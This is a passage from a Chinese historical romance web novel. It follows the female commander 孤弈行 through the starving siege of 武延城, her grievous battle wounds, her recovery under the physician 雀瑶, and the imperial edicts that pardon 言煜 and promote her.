孤弈行方才差点吃了亏,此时又打量了这小姑娘一番,见她浑身上下也没有缺胳膊少肉的,便也顾不上客气,直接抓住她的双手,随即用绳子捆了起来。 她还想挣扎,但毕竟不是孤弈行的对手,很快就不动弹了。 “你说你这小姑娘长得挺好看的,怎么一出手这么恶毒?” 孤弈行勾了勾唇,眼神挑衅。她捏了捏她的下巴,逼迫她抬起头来。 虽说孤弈行不能确定这小姑娘是否就是与仓库失火这件事有关,但她总觉得她应当是知道些什么。 结果那小姑娘二话不说竟然张开了嘴巴想要咬她,这倒是让孤弈行猛得缩回了手。 “要杀要剐随你心意,本姑娘肯定不吭声!”那小姑娘瞪了孤弈行一眼,随即一脸等待着光荣就义的模样,“不过要是闹大了动静,等官兵到了,你照样也走不了!” 不是!孤弈行怒极反笑:合着自己不过是穿了一身便服就成坏人了?她倒成了反抗坏人的英雄? 孤弈行一时间觉得这小姑娘还怪逗的,但她还就喜欢看她这张小脸气急败坏的模样。她拍了拍手上的灰尘,起身笑了笑。 “不用找了!我就是官兵!” 那小姑娘显然愣住了。 孤弈行也不欲继续逗她,蹲下身道:“沈离松将军你总该听过吧?他马上就来,到时你自然知道我所言非虚。小姑娘,你……是不是知道些什么?” 孤弈行话音未落,沈离松便带人过来了。孤弈行正愁找不到人,笑着开口道:“沈将军,这小姑娘偏觉得我是坏人,你和她说说。” “神医姑娘,你不要害怕。这位是来自幽州的洛川洛郡尉,这次是带着人马来支援我们武延城的。” 沈离松定睛一看见这姑娘是个熟面孔,语气相比平日放柔了些,蹲下身去给她松绑。 神医?也是,不然谁会随身携带那种银针和毒药?孤弈行勾了勾唇,心想:不过这救人的神医,说不定干起杀人的活来也是不眨眼呢! 那被唤作神医的小姑娘见了沈离松,便知孤弈行所言非虚。她直起身来嘟囔着嘴,忍不住瞥了孤弈行一眼,似是想开口却拉不下脸来,不知如何开口。 “那个………我叫雀瑶。”雀瑶望着孤弈行,眼神有些躲闪,脸颊微微有些泛红,“刚刚……对不起啊。” 这么傲娇的一个人低头道歉,孤弈行觉得这诚意也着实够了,再加上她也没中毒,要是盯着一个小姑娘不放传出去也怪不好听的。 孤弈行于是挥了挥手,一脸没放在心上的样子:“无碍。” 随后转身向沈离松道:“沈将军,纵火者多半还在城中,我建议封锁城门和所有能出城的小路。” 沈离松点了点头,吩咐手下去办了。 “我看到一个人在仓库边上鬼鬼祟祟的,我见有些不对,就跟上去了。”雀瑶回忆道,“那人纵火后也发现了我,我用毒针扎了他,他有些四肢无力,把我扔到一边,便跑走了。” 和孤弈行想得差不多,那按照雀瑶所说,这人身中剧毒,恐怕命不久矣,就算找到也无济于事。 不过有一点,这倒是印证了孤弈行之前对匈奴的猜测,他们是想要围城活活饿死他们,或者让他们失去战斗力,好一举歼灭。 “先把雀瑶姑娘带回将军府吧,万一那人还有同伙,怕是会有生命危险。”孤弈行薄唇轻抿。 “好。”沈离松应道。 回将军府的路中,沈离松和孤弈行不约而同地聊起了当前的形势。 “刚刚收到消息,说朝中派了言大人率军支援幽州,只是不知道言大人此时是否收到了武延城的消息。”沈离松眉头紧锁。 “我身边有他的线人,算着日子他应该快收到消息了。”孤弈行刻意压低了音量。 她倒是不担心言煜是否会赶来,她如今唯一担心的就是城中的粮食还够全城的人撑几日的。 “城中的粮食,最多还能撑几日?” “流民增多以来,城中粮食本就有些不足。这次仓库被烧,剩下的粮食都是各自家中的存粮,最多三日。”沈离松神情严肃,“还有很多流民需要安置。” 不用沈离松说,孤弈行也知道这三日的最后一日估计是只能吃得上 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见言煜眸色渐深,一旁的赵霖便知大事不妙。他挥动马鞭,让自己与言煜并肩而行,用只有他和言煜能听到的音量说了一句:“言煜……你不会……要抗旨吧!” 言煜不语。 “你不不要……着急,说不定事情没我们想得这么糟,可能……可能还有别的办法。”赵霖以为言煜犯糊涂,急得舌头打结。 赵霖其实先前早就发现言煜有点不对劲,他一直知道言煜当年的心意,心中也有所猜测,但言煜一直说不让他知道是为他好。 如今看来,那人不仅活着,此时恐怕正在武延,言煜才会如此这般……方寸大乱。 “什么办法?”言煜瞥了他一眼,薄唇微启。 这倒是把赵霖哽住了。然而等到他回过神来,还欲开口,却只听言煜说道。 “有一点你说得对,有些事情未必有那么糟。但,事关她与一城百姓,我言煜赌不起,也赌不得。” 赵霖始终记得言煜说这话时的模样,他侧着身,是以他并未看清他眼眸中的情绪。 但他却记得,夕阳下的余晖将他的半张脸都染上了一层淡淡的光晕。他仿佛行走在光与影之中的人,一半献于光明,一半遁入黑夜。 这一刻,赵霖知道,他不必劝,也劝不动。 “我即刻带人支援武延城,你带着剩下的人马继续前往幽州。”言煜眼神坚毅,目光灼灼。 赵霖长叹了一口气:“圣上那边,你打算怎么交代?” “常言将在外君命有所不受,我会上书请罪,只要能赶在匈奴破城之前护下武延城,功过相抵,并非无路可走。” 赵霖点了点头,想来也是这么个道理。但都已经到了这个地步,就算是死马也得当活马医喽! 他原本还想说什么,侧过身却依旧看到言煜已经调转马头,率领骑兵向武延城方向而去,他只来得及远远看见一个骑在马背上的背影。 这个言煜!赵霖忍不住在嘴里骂了一句,随后继续策马扬鞭往幽州而去。 46. 阵前 武延城。 城墙上,孤弈行一身玄甲,手持青色长枪,死死盯着青川峡谷的方向。 这几日来,她的神经总是绷着一根弦,除了一次小眯片刻之外不曾有过休息,眼底早已血丝弥漫。 这几日,匈奴并非毫无动作。 第一日,匈奴派先锋军攻城,被他们的用箭头沾了剧毒的长箭生生击退。 第二日白天倒是难得安分,结果夜里就来了一次夜袭,也被孤弈行带兵攻退了。 只是这一次,孤弈行明白了符时清此举之意并不在夺城,而在佯攻。他知道城内粮草告急,战士们每日都能吃个半饱,再加上得不到充足的休息,只要是个人都会很快坚持不住。 而当他们坚持不住的时候,匈奴便可以极少的人员损耗夺取这座城池。当真是打得一手的好算盘! 孤弈行冷哼了一声。只不过只要有她在,他便别想踏进武延城半步!而这一日,不知对方又会有什么动作。也许……就在今日? “洛洛姐姐,吃吃……吃饭了!” 孤弈行正想着,闻声转过身去,见小默给她端来了一碗餐食。她不用看就知道,又是熟悉的米汤。 那米汤颜色很浅,几近透明,肉眼看不到几粒米,倒是能看到两片飘在上面的菜叶,放在平时是绝不会让人产生一点食欲的。 但在此时,孤弈行却只是想解解渴,直接伸出手接过那碗稀薄得像水一样的米汤一饮而尽。 其实,就连水饱也成了一种奢侈。她的肚子还在咕咕作响。 但孤弈行只是擦了擦嘴角的汤渍,对小默笑了笑:“谢谢小默。” 小默疯狂地摇了摇头,连忙道:“我们都都……知道,洛洛姐姐你已经几天没……没合眼了,这是我……唯唯一能做的了。” “刚刚刚刚……沈将军和鲍哥还……还说要替你。” 小默一着急,说话更是结巴得厉害。 “让他们放心吧,对付他们我有经验,也熬得住。”孤弈行笑意张扬,她拍了拍小默的肩膀,似在安慰他自己没事。 “洛郡尉!青川峡谷有马蹄声!”陆耳突然说道,随即闭上眼睛,“听着人数应有数万!” 数万人。看来符时清已经等不及发动总攻了。 到底是先前吃了亏,心急了些。孤弈行心想。 “传令下去,匈奴来犯,随我城前列阵迎敌!”孤弈行高声喝道。 “是!”小默道。 孤弈行撩起披风急步向城门下走去,随即翻身上马,动作极为干脆利落。 片刻后,以孤弈行和沈离松为首的军队集结完毕。 众人皆知此战为生死之战,没有半分退路,若不能生,便唯有死。故而城中的百姓都放下了手中的劳作,站在长街两旁目送着战士的离去,就连空气也渲染上了几分悲壮。 孤弈行望了一眼身后的百姓,随即策马扬鞭往城外奔袭而去。 她的身后,浩浩荡荡的队伍仿佛潮水一般涌动,最终消失在百姓的视野之中。 待到孤弈行率军在城前列阵完毕,敌人也到了。孤弈行远远望见乌泱泱的一片,便知陆耳说的没错,这一次与前几次佯攻明显不同,除了乌桑带领的部分军队还驻扎幽州城外,所有不在匈奴境内的匈奴大军此刻估计都在这儿聚齐了。 果真是一场硬仗! 孤弈行意识到,对方似是以为自己还会以上一次的阵法迎敌,故而以穿插队形为主排开。 她眉心微挑,素来风流尽显的桃花眼深处此刻似有万千气韵。她右手一挥,一声令下,身后城墙上便传来极具气势的鼓声。 战鼓擂,声欲震天。 伴随着鼓声,雍朝士兵逐渐排开,孤弈行位于阵形之中,左右队伍机动灵活,如同鹤张开的双翼,故而能做到攻守兼备。 “鹤翼阵。”符时清挑了挑眉,声音低沉,“你还真是每次都能给我惊喜……” 他符时清最喜人才,这倒使得他有些不舍得杀这个女人了。 “和一个女人废什么话!你别瞎掺和!” 老将乌野素来看不惯符时清这个小白脸,他骂骂咧咧地啐了一口唾沫,随即不等符时清阻拦就率领自己的部下冲了出去。 看不起女人?符时清心里冷冷地笑了一声。 那还不是八年前被当初出茅庐的祁国女王教训了一通,后来躺在床上修养了好几年?真是好了伤疤忘了疼,愚蠢至极! 不过毕竟折损的也不是他的部下,他符时清也不至于肉|疼。再加上乌桑素来与他不对付,这乌野又是乌桑的舅舅,让他损兵折将,或者死在雍国人的手里对他也是有利的。 孤弈行眼看着乌野率军前来丝毫不惧,她面不改色地命令中路向后迂回,给乌野一点甜头,待到乌野率军进入阵法腹地之时左右双翼包抄夹击。乌野腹背受敌,一万余人顿时死伤过半。 期间,孤弈行一直等着符时清的反应。她自然知道符时清与乌家的恩怨,但她却没想到在这么多人面前他这能做到见死不救,着实是铁石心肠。 也罢。孤弈行随即挥舞长枪往乌野而去,乌野自也意识到身后有人,挥刀迎敌,却被孤弈行躲开了攻势。 孤弈行调转马头,乘其不备将其挑下马,刺杀在地。 乌野一死,他的手下全都乱了手脚,像发了疯的蚂蚱一般四处逃窜,但最终无一人突破重围,全被就地斩杀。 雍朝士兵士气大振。 而后,符时清又派出几千骑兵列龟甲阵,与守军缠斗。符时清主打一个避其锋芒,不深入腹地,只是在原地与敌周旋,意在通过拖延时间消耗敌军的力量。 孤弈行自然深知这一点,但面对缠斗想要保存实力已是不可能,只能尽快做出反应吃掉这一口|肉,方能有喘息的机会。 龟甲阵素来对鹤翼阵有克制作用,但孤弈行早就料到会有如此情况,故而在双翼包围敌军之时中路队形穿插变化,弓弩手向被包围的敌军射击,逐渐瓦解对方的阵形。 然而就在这时,孤弈行感觉身后传来长箭划破天际的声响 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“阵前不听指挥,擅作主张,按军规,该如何处置!” 声声入耳,副将的后背忍不住暗暗发凉。他尚且因着自己与符时清并肩作战两年的交情心存侥幸,但他却觉得符时清脸上的表情格外陌生。 “杖责……五十!” 符时清点了点头,不再看她,声音凉薄:“战后自去领罚!” “是。” 副将长叹了一口气。这次是他杀敌心切,擅自行动,这他认了,只是若是此箭命中,对将军来说不是好事吗?将军又为何阻拦?要知道,若不是将军方才握住他的手腕,箭失了准心,射中的便不是腰间,很可能就是心脏了! 他还是不明白。他顺着符时清的目光,死死地盯着那捂着伤口却依旧在阵中镇定指挥的女将,默不作声。 符时清自然知道他不服。 “她是个人才,不应该就这么死了。” 符时清的声音冷冷的,令人听不出什么情绪:“我符时清自不是什么好人,却也素来不喜乘人之危,何况是女人?既是敌人,那便在战场上一决高下。” 另一边,孤弈行虽然受伤,却依旧镇定自若。她指挥阵形变幻,很快就让那些骑兵吃了不小的苦头。 然而孤弈行深知,这之前的胜利就如同一桌酒席上的开胃菜,待到敌人展开总攻,与她硬碰硬的时候,力量的悬殊便会很快暴露出来。更何况,方才一阵箭雨之下,他们的士兵也死伤了超过三成。 果然,敌人没有给他们任何喘息的机会,很快展开了总攻。 有了数量的优势,匈奴士兵不再畏首畏尾,直接兵分两路,一路逐渐将他们包围,而另一路则直取中路,冲进腹地与雍朝军队兵戎相接。 月色正好,只是孤弈行如今可没有这闲情雅致欣赏。看这阵仗,今晚可真是一个不眠之夜。孤弈行心想,随即挑着长枪就往不远处骑马而来的符时清刺去。 47. 血战 符时清很快反应过来,与孤弈行兵刃相接。 孤弈行方才对腰间伤口作了简单的包扎,但每当使用腰力做出大动作之时都能感觉到腰间撕裂,有些吃力。 她自知腰间衣裳已经被伤口流出的鲜血染红,但她强迫自己不低头去看,就好像这样她就未曾受伤。 纵然腹中空空,孤弈行却依旧做好了持久战的准备,甚至是生死之战的准备。 只因她,没有退路。 只见孤弈行长枪一挥,向符时清横扫而去。符时清猛然俯身,但还是因她突如其来的回旋枪而吃到了些许苦头,左肩也挂了彩。 符时清这时才觉得上次交手,面前之人是在隐藏实力,其真正实力深不可测。 纵然身负重伤,纵然因为连日缺少食物脸部显得有些瘦削,依然能够如此冷静,如此勇猛,确有将帅之风! 符时清敛眸,见面前女子眼眸几近沁血,却依旧死死地盯着自己的一举一动。 还真是一个难得的对手!符时清勾了勾唇,纵身跃起,落到孤弈行的马上。 孤弈行自也知道他想做什么,抽出腰间软剑便向其要害刺去。符时清侧身躲避,欲擒其双手,却被孤弈行一阵飞身旋踢,只好作罢。 战斗持续了一日一夜,孤弈行所率联军死伤惨重,然而匈奴亦死伤过半。 符时清身负数伤,一处在左肩,两处在腰间,还有一处距离心脏只差半寸,活脱脱地像个血人。这全是拜孤弈行所赐。 孤弈行远远看着躺在担子上的符时清,是真的很想笑,但她一笑就能感觉到腰间被剧烈撕扯带来的疼痛,和喉咙深处渗出的血腥气。 她身上也受了伤,除了腰间那处已经有些溃烂发炎的箭伤,还有一处落在脖颈处。脖颈处的伤口极深,月光散落,能隐隐看见半隐半露的白骨,十分瘆人。 单轮武功,符时清不是她的对手,至少她现在还在马上,可他已经躺下了。 但是这么长时间未曾进食,再加上之前几天喝的都是稀薄如水的米汤,孤弈行觉得那种饥饿无力的感觉正在逐渐蔓延至她的全身。 她开始没有力气了,几近虚脱,眼神也开始有些涣散了,眼前发黑。但她知道援兵未到,自己绝不能倒下,她若倒下了,那些城里的百姓又该如何? 于是她咬紧牙关,在自己腰间伤口上使劲一按,清晰而又剧烈的痛感传来,她觉得整个人不再昏昏沉沉的,好受了一些。 有的时候,孤弈行觉得自己生来真是打仗的料,皮糙肉厚的,对自己和敌人都足够无情,不想一些闺阁小姐碰掉了层皮都要咿咿呀呀叫个半天。 正想着,又有一批敌人涌上来,她甩起长枪就向敌人挥去,一枪打在敌人腰腹,那匈奴兵吃不住力,便飞了出去,很快被马蹄踏成了碎片。 她的动作慢了,反应也缓了,但她告诉自己还能撑。 随后又是一次包围夹击,孤弈行远远望着一群源源不断涌来的匈奴士兵,纵然筋疲力尽却丝毫不怯。 昼夜更替,星河流转,待到远处的天际线散落一丝微弱的日光,孤弈行依旧身陷鏖战无法抽身。 刚刚过去的这一夜,孤弈行觉得格外漫长。期间匈奴一共发动了四次进攻,符时清好像杀红了眼,纵然已经动弹不得,还是铁定了心要攻破武延。 孤弈行用长枪|刺破了一个敌人的心脏,敌人滚落下去的时候她差点没有拿稳长枪,孤弈行知道她已经快要累到极点。 她从前不是没打过苦战,但她确实是没打过这么缺粮缺武器的苦战。 苦战多持久,是以极度消耗作战者的体力和精力,但这次她和身后所剩不多的战士已经将近一周没有吃饱饭了,这仗该这么打? 孤弈行觉得自己或许应该庆幸面前没有一面镜子,不然看到腰间腐烂的伤口和脖颈处露出的白骨,会更容易丧失斗志。 只是她现在也没好多少,她的脸颊上已经溅满了快要干涸的血液,几乎模糊了她的视线,她好像一个血人,或者是从阎王那里逃出来索命的。 孤弈行笑了一声,她知道自己素来心态不错,换做是旁人此刻决然是笑不出来的。 “郡尉!青川峡谷方向有马蹄声!”陆耳拼尽全力大声喝道。 孤弈行很快反应过来,挥舞长枪向敌人扫去:“兄弟们坚持住!我们的援兵马上到了!” 然而此时孤弈行身后的守军已经所剩无几,孤弈行等人被团团包围,已如瓮中之鳖。 马匹早就已经累倒在地,他们依然守在城门前,背靠着背,将自己的软肋交给彼此,等待最后一战。 没有一个人的身上不挂着彩,可却没有一个人退后一步。 “洛郡尉,我老鲍能和你和沈将军打这一仗,死也值了!”鲍大海拍拍胸膛道。 “俺也是!”熊二牛也跟着说道。 “还有我……洛洛洛姐姐。” 孤弈行不用看也能听出是小默的声音。 与此同时,孤弈行与沈离松和琴潇相互对望,他们曾无数次在沙场上并肩而战,所以无需多言,这一次也一样,他们要说的话孤弈行都懂。 战鼓擂,他们面对数倍于己的敌人,互为底牌拼死一战。他们死死咬住敌人,有人倒下就有人冲上去替倒下的人继续厮杀,匈奴纵然将其包围,但始终无法完全突破,反而被其死死咬住。 “符将军,雍朝皇帝的援兵到了!”副将在符时清身边道。 躺在担子上的符时清努力挪了挪身体,死死盯着不远处受伤无数却毅然不倒的女将,不语。 “将军!再等下去我们可能就要被包围了将军!” 符时清合上了眼睛,神情好像在忍受极大的痛苦,声音嘶哑:“传令……收兵!” 匈奴鸣金退兵,孤弈行顿时感觉压在自己胸口的那块巨石落了地。她站在原地,用长枪支撑着身体,向不远处望去。 恍惚间,她好像看到了一个熟悉的身影。他一身白衣,披着刚刚展露于天际的日光,向她而来。 她好像听见了有个声音在唤她,但她只感觉眼前发黑,一时间天旋地转,身体不受控制向前倒去,却意外地被接住进入了怀抱。 “弈行!你坚持住不要睡!” 耳畔传来很轻的声音,孤弈行迷迷糊糊地睁开眼,也不知道是不是自己的错觉。 他的脸色很白唇色也极浅,眼睛红得吓人,孤弈行觉得他应该是被自己这副模样吓到了,感觉好像下一秒就会落泪的样子,于是用尽全力笑了一下,抚上他冰冷的脸颊。 “你别怕……我……我不睡……” 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她要是醒不过来,这傻子会急成什么样?而且她还有很多事没做,她还不能睡。 “你记不记得……我之前和你说过到祁地一醉方休的约定?” “我记得,我都记得。” 言煜记得,那时他们两个还在互相试探,她也似是随口一说。但她说的每一句话,他都记得,也都当真。 “想想就……” 言煜感觉她的声音逐渐消失,她好像陷入了昏睡。 言煜一时间感觉太阳穴突突直跳,自己几乎就要喘不过气来。他再次加快了速度,马匹几乎是飞驰着穿过大街小巷,周围的景色逐渐被他落在身后。 马匹在驿站前停下,言煜小心地将孤弈行抱下马,大步朝着驿站走去。 “官府驿站不得擅入,你是何人?” 驿站出来一个驿卒把言煜挡住,他见面前男人一身白衣,怀里抱着一个身着玄甲的一身是血的女人,心中生疑。 但当他对上那人的眼眸,只觉其中杀气肆意,后背竟不由得生了一阵冷汗。 “吏部尚书言煜,之后会有人来与你解释,救人要紧!” 驿卒还欲说话,被言煜的眼神生生逼退。言煜直接闯了进去,在一楼找了一间空房踹开了门,将孤弈行小心地放到了床上。 很快飞鸢带着朝廷批下的几个太医也赶了过来,太医给孤弈行把了脉。 “怎么样?”言煜几乎就要按捺不住自己的情绪。 那几个太医都对视了一眼,摇了摇头:“言大人,失血过多,不成了……” 言煜压抑在胸口的怒火在这一刻终于爆发,他直接上前拽住为首太医的领口,巨大的力气几乎把他整个人拽起来,眼神阴沉得吓人:“你胡说!” 就连飞鸢都被自家少爷吓了一跳。 “庸医!全是庸医!” 言煜手一松,直接把那太医摔在地上。 “言大人饶命!大人饶命!”那几个太医都被吓破了胆,都埋着头不敢动弹了。 言煜走到床边,身体微微颤抖,他死死握住她的手,小声道:“是我来晚了,你别听他们说的……我不会让你死的……一定不会。” 48. 命悬一线 就在此时,言煜察觉到背后传来一阵细碎的脚步声。 “我有办法救她。” 纵然不知真假,也不知来者何人,言煜还是下意识地转了身,只见来者是一个瘦弱的少女,身着布衣,右肩背着一个药箱,看上去手无缚鸡之力。 “大人,别听这丫头片子信口雌黄!她定是来骗您的!” 方才在跪在地上的太医此刻无一例外斜睨打量着突然出现的雀瑶。 “你们都出去。”言煜眸色渐深,声音愈发低沉。 这下那些太医倒是听了话,很快就弯着腰畏畏缩缩地退了出去。 言煜缓缓抬眸:“我如何信你?” 雀瑶倒是毫不在意言煜展现出的几分敌意,依旧十分自在。 “第一,她救过我,我没有理由害她。第二,我不知晓你有多大的权势与地位,也不清楚你与她是何关系,但如今不是你为何信我,而是除了我你还能信谁?” 言煜虽不知孤弈行是否对面前少女有过救命之恩,却知晓她所言第二点丝毫不虚。 那些太医平日里大多赋闲太医院,最多也就是给皇帝和各宫妃嫔治疗一些轻症小疾,提起战场上的枪伤尚且未必能有江湖游医在行。 若是要现在再去请名医,恐怕孤弈行撑不了这么久,这也是一条死路。 “雀瑶姑娘是我们这儿的神医,言大人不如让她试试。”沈离松堪堪赶到,喘着气说道。 “可以。” 既有沈离松作证,言煜便知雀瑶所言不虚。他退后一步,让雀瑶替孤弈行诊治。 “不想要她死的话,你们都出去。”雀瑶瞥了一眼在屋内傻站着的两人,觉得很是聒噪。 “我等会会给你开药方,你去药房抓完药就去煎煮,记住药不能凉,不然便会丧失药效。” 言煜知晓这句话雀瑶是对他说的。他心知这样也好,有事情做至少比他现在心急如焚却无能为力要好些。 言煜和沈离松随即退了出去,带上了房门。 沈离松很快被军中事务支走,而言煜却无心顾及其他。他斜斜地靠着一根粗大的梁柱,缓缓阖眸,额间的汗珠染湿了几缕碎发。 他早就该料到的。 若他能早一点料到符时清会奇袭武延,又或者他能早片刻甩开在中途埋伏的以乌桑为首的匈奴军队,事情都不会发展成如今这个局面。 若她真的醒不过来,他汲汲营营布局多年还有何意义?没了她,滔天的权势地位,再好的名声,还有耳目遍布雍朝的无影阁,对他而言皆不过是一场虚妄。 言煜伸手死死握住腰间的墨玉玉佩,好像在抓住她生的一线希望。他不想放手,也绝不放手。 一直到子夜,言煜才听闻屋内传来一丝动静。他听见愈来愈近的脚步声骤然睁眼,待雀瑶推开门言煜已经站在她身前。 “这是药方。” 其实雀瑶本没有寄希望于面前之人,此时发现他竟一直守在屋外心中顿生几分意外。 言煜素会察言观色,已经了解雀瑶的秉性,结果药方后也不再多问,转身便欲离开。 “最短两三日,最长六七日她会醒。” 言煜很快知晓了她的言中之意,也就是说她有把握让孤弈行安然醒来,压在他心头的巨石总算落了地。 “多谢。”言煜难掩情绪,拱手作揖。 言煜的身影逐渐消失在雀瑶的视线里,雀瑶才回过神来。 沈离松和那些太医都对此人十分恭敬,想来此人必然身居高位。身居高位之人,却又如此至情至性,着实难得。 雀瑶想着,转身合上了房门。 由于药方其中的几位药十分稀少珍贵,太医院来的人也没有随身携带,言煜便去大街上各个药房敲门摆放,将近卯时才凑齐了所有药材到灶房煎煮。 期间飞鸢也守在一旁,见言煜看上去格外疲惫劝他休憩片刻,但言煜始终坚持亲力亲为。 言煜将药材小心地放入砂锅中,仔细控制着火候,文火慢煮。 分明是寒冬,他又素来体寒,此刻额间却也沁了几颗汗珠。 药不能凉。 言煜心中便唯有此四字。 后几日雀瑶来过灶房几次,但也没能插上手。 煮了又凉,凉了又煮,药材都换了六七波,言煜也不知过去了多久,只觉得时间越久,自己便越添几分心乱如麻。 若是第七日……言煜很快打断了自己这个可怕的想法。他相信她,她不会的,她不会抛下他,也不会抛下所有需要她的雍朝百姓。 第七日清晨,雀瑶终于来了灶房。 “她醒了。” 言煜愣了一下,骤然起身,手中的竹扇不曾拿稳掉落在地上。 这一次雀瑶几乎快要认不出他了。七日前他身着素衣,面如冠玉,而如今他长发散落,眼眸布满血丝,脸庞瘦削了不少,下颚处也长出了青色的胡茬,看上去颇有些落魄狼狈。 言煜转身欲走,却想起桌上煎煮好的药汤,弯腰欲拿。 “你先去看她吧,药我来拿。”雀瑶望了一眼言煜,继续道,“整理一下,别让她担心了。” 言煜微微颔首,边走边拂袖挽了发冠,待到整理好衣着走到门前推开了房门。 孤弈行一身素衣,长发齐腰,斜坐在床榻上。 她远远便望见了言煜,眼眸微红,勾唇轻笑:“我就说吧,我死不了。” 孤弈行感觉言煜的凤眼也红得厉害,下一秒走路也有些跌跌撞撞。他冲到床边,紧紧握住她的手,一脸的失魂落魄,却又带着些许失而复得的惊喜。 言煜素来礼数周全,颇有圣人遗风,孤弈行能感觉到这是他最失态的一次。 孤弈行的目光忍不住落在言煜的脸庞上,她能明显感觉到他瘦了不少,也憔悴了不少。 她从雀瑶口中得知这六日言煜片刻不眠,飞鸢送去的饭菜也没用几口,一直坚持为她煎药,看来是耗费了不少心神。 孤弈行反握住他的手,又伸手替他将额前的碎发整理到耳后,声音里夹杂着些许哽咽:“世人都道你言焕卿聪明绝顶,可我怎么觉得……你如今一点也不聪明。” “我不想要聪明,也不想要权势和地位,我只要你好好活着。” 话音未落,孤弈行的眼眶微微红了。她有意偏过头去,不让言煜察觉到自己脆弱的一面,也怕自己按捺不住,故而岔开话题。 “乌桑所领军队之前尚在幽州,不知如今所在何处。” 言煜意识到她的情绪,也不想惹她难过,故而顺着答道:“我们来时遭遇了 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孤弈行见言煜不反驳就知道事实如她所料,但她确实未曾料到言煜竟会为了她和武延百姓擅自违背旨意。 无论如何,纵然事出有因,这也是抗旨大罪!更不必说,喻威此人猜忌心极重,此时若是有心人欲加害言煜,言煜恐将九死一生。 然而孤弈行知晓此时心急已然无用,于是问:“如今之局你准备如何解?” “守住武延之功,与军令不受之罪,他要稳定民心,就要顺应民意,便不能杀我。” 将自己的生死说得如此平静,孤弈行一时觉得言煜有一种将生死置之度外的淡然,令她不免有些心疼。 话虽如此,但也是在赌。然而如今,他们也只能赌一赌了,赌还在路上的圣旨上到底是功过相抵,还是功不抵过。 此时,门外传来雀瑶的声音。 “打扰你们了,我来送药。” “进。”孤弈行很快平复了心绪,又用手遮盖了一下腰间白布上星星点点的血迹。 雀瑶推开房门,端着煮好的药汤走到孤弈行身边,打量了一眼一旁端坐的言煜,将药碗递到孤弈行手中。 孤弈行低头望着散发着怪味的棕褐色药汤,心中满是抵触。 但她也知别无他法,要想早点不用整日躺在床榻上只能忍受一下令人难受的滋味,于是她将药碗送到唇边,分两口闭着眼睛饮尽。 “一个女将军,喝起药来比我们这儿的小孩还别扭。” 雀瑶忍不住揶揄,她几乎已经准备好回应孤弈行的反驳,但这次孤弈行只是乖顺地点了点头。 不对……事出反常必有妖!雀瑶忍不住在心里嘀咕。 她又打量了一眼孤弈行:“洛川你是不是做什么对不起我的事儿了?” 孤弈行瞥了一眼言煜,果断否认:“小雀姑娘多心了!绝对没有!” 雀瑶总觉得有些不对,她又仔细打量了孤弈行一番,目光最终落到孤弈行轻覆在腰间的右手上。 “把手拿开。” 孤弈行长叹一口气,把手移开了腰间,红色的血迹格外醒目。 “我就知道不该放他进来!净给我找事做!”雀瑶骂骂咧咧地把言煜赶了出去,一边换药一边道。 49. 圣旨 屋内,雀瑶为孤弈行处理伤口,待到最后忍不住瞥了孤弈行一眼,没好气道:“再乱动撕裂伤口,下次你就等着自己处理吧!” “是是是,我的小雀姑娘。” 孤弈行知晓雀瑶素来刀子嘴豆腐心,是以勾着唇角笑语晏晏。 然则就在此时,屋外传来一番动静。 “臣言煜接旨。” 孤弈行唇角的笑意逐渐隐去,眉心微蹙,神色略显沉重。 该来的,终究还是来了。 言煜跪地领旨,长袖伏地,依旧处变不惊。 “奉天承运,皇帝诏曰:吏部尚书言煜未得旨意私自领兵前往武延,本是重罪,但念事发突然,其守卫武延有功于社稷,故功过相抵,其罪从轻,罚俸禄一年,钦此。” “臣言煜接旨,叩谢皇恩。”言煜双手接过圣旨,随即起身。 “言大人圣眷正浓,可依洒家看您可再不能做出这等先斩后奏之事了。”吴公公形色谄媚,言辞激荡,“以免伤了陛下的心呐!” “公公说的是,自不会再有下次。” 言煜微微颔首,本欲离开,不经意间瞥见吴公公手中握着的另一道明黄圣旨,心中有了一番思量:“不知这道圣旨是……” 一语点醒梦中人,吴公公顿时清醒过来,应道:“这道圣旨应颁予幽州郡尉洛川,只是洒家听闻洛郡尉身负重伤,不知此刻可否清醒?” 与言煜所料一般无二。 “洛郡尉就在此处,已然清醒。” “那自是最好。” 言煜领着吴公公行至屋外,缓缓扣门:“洛郡尉,圣旨到了。” 随即推门而入。 孤弈行早就听闻屋外动静,此时斜倚在床边微微欠身行礼。 “陛下知洛郡尉为守武延身负重伤,特许洛郡尉不必跪拜,直接领旨便可。” “臣洛川谢陛下隆恩。” “奉天承运,皇帝诏曰:幽州郡尉洛川探察敌情,守卫武延有功,虽为女子,然赤胆忠心,智勇兼全,武延一战当居首功,特封正三品靖宁将军,赏黄金千两,赐府邸一座,允其伤愈后回京面圣。” “臣领旨,谢主隆恩。”孤弈行接过圣旨。 “既如此洛将军安心养伤,洒家就不打扰了。”吴公公见孤弈行伤重未愈不便打扰,便笑着退了出去。 雀瑶虽心直口快,却也是个有眼力见的,待言煜送走吴公公推门而入,便自行拎着药箱离开了。 “那位从未放弃寻你踪迹,此次你虽以假身份回京,他却未必对你毫无防备,你打算如何应对?” 言煜望着孤弈行,凤眼深处不见一丝喜色。 “正所谓兵来将挡水来土掩,着急不来。”反观孤弈行倒是丝毫不虑,托着下巴淡然一笑。 “不过我有一计,于你于我皆有益处。”孤弈行眉心微挑。 “何计?” “洛川曾救言大人一命,故而洛川与言大人两情相悦。” 如此荒唐之言,然则从孤弈行口中道出又添了几分旁的意味。 言煜初闻亦觉荒唐,但细细想来却似知晓其中关联。 “弈行莫非是想借此关系同时消除他对你我二人的怀疑?” 孤弈行随即打了一个响指,笑容肆意:“不错!” “抗旨一事表面功过相抵,喻威未曾降罪于你,然自此之后喻威于你未必没有防备。此时你心仪洛川便是自示弱点,让喻威以为你沉溺男女之事无心其他,亦非其捉摸不透之人,这是其一。” “其二,于洛川而言亦是如此。洛川既为武将,日后势必手握兵权,喻威不可能不忌惮,但若是其心仪之人在喻威掌控之中,喻威自觉掌控其软肋,亦将放松紧惕。” “确实如此。”言煜微微颔首。 孤弈行似是想想到什么,嘴角忍不住微微上扬,眼神夹杂着些许挑逗:“陆耳笔下之人的身份,不知言大人查得如何了?” 孤弈行虽未言明,言煜却已然明了其所指。 目光灼热……交谈甚欢……时至如今,此八个字言煜还历历在目。 言煜假意咳嗽一声,但越细想越觉不对。 如此说来,孤弈行早就发现了陆耳的所在,却任其写下此等荒唐之言,莫非…… “没想到无影阁的人在添油加醋这方面倒是精通,就连我也只能甘拜下风。” 孤弈行对上言煜怀疑之中夹杂着些许幽怨的眼神,毫无辩驳之意,反而眉眼含笑。 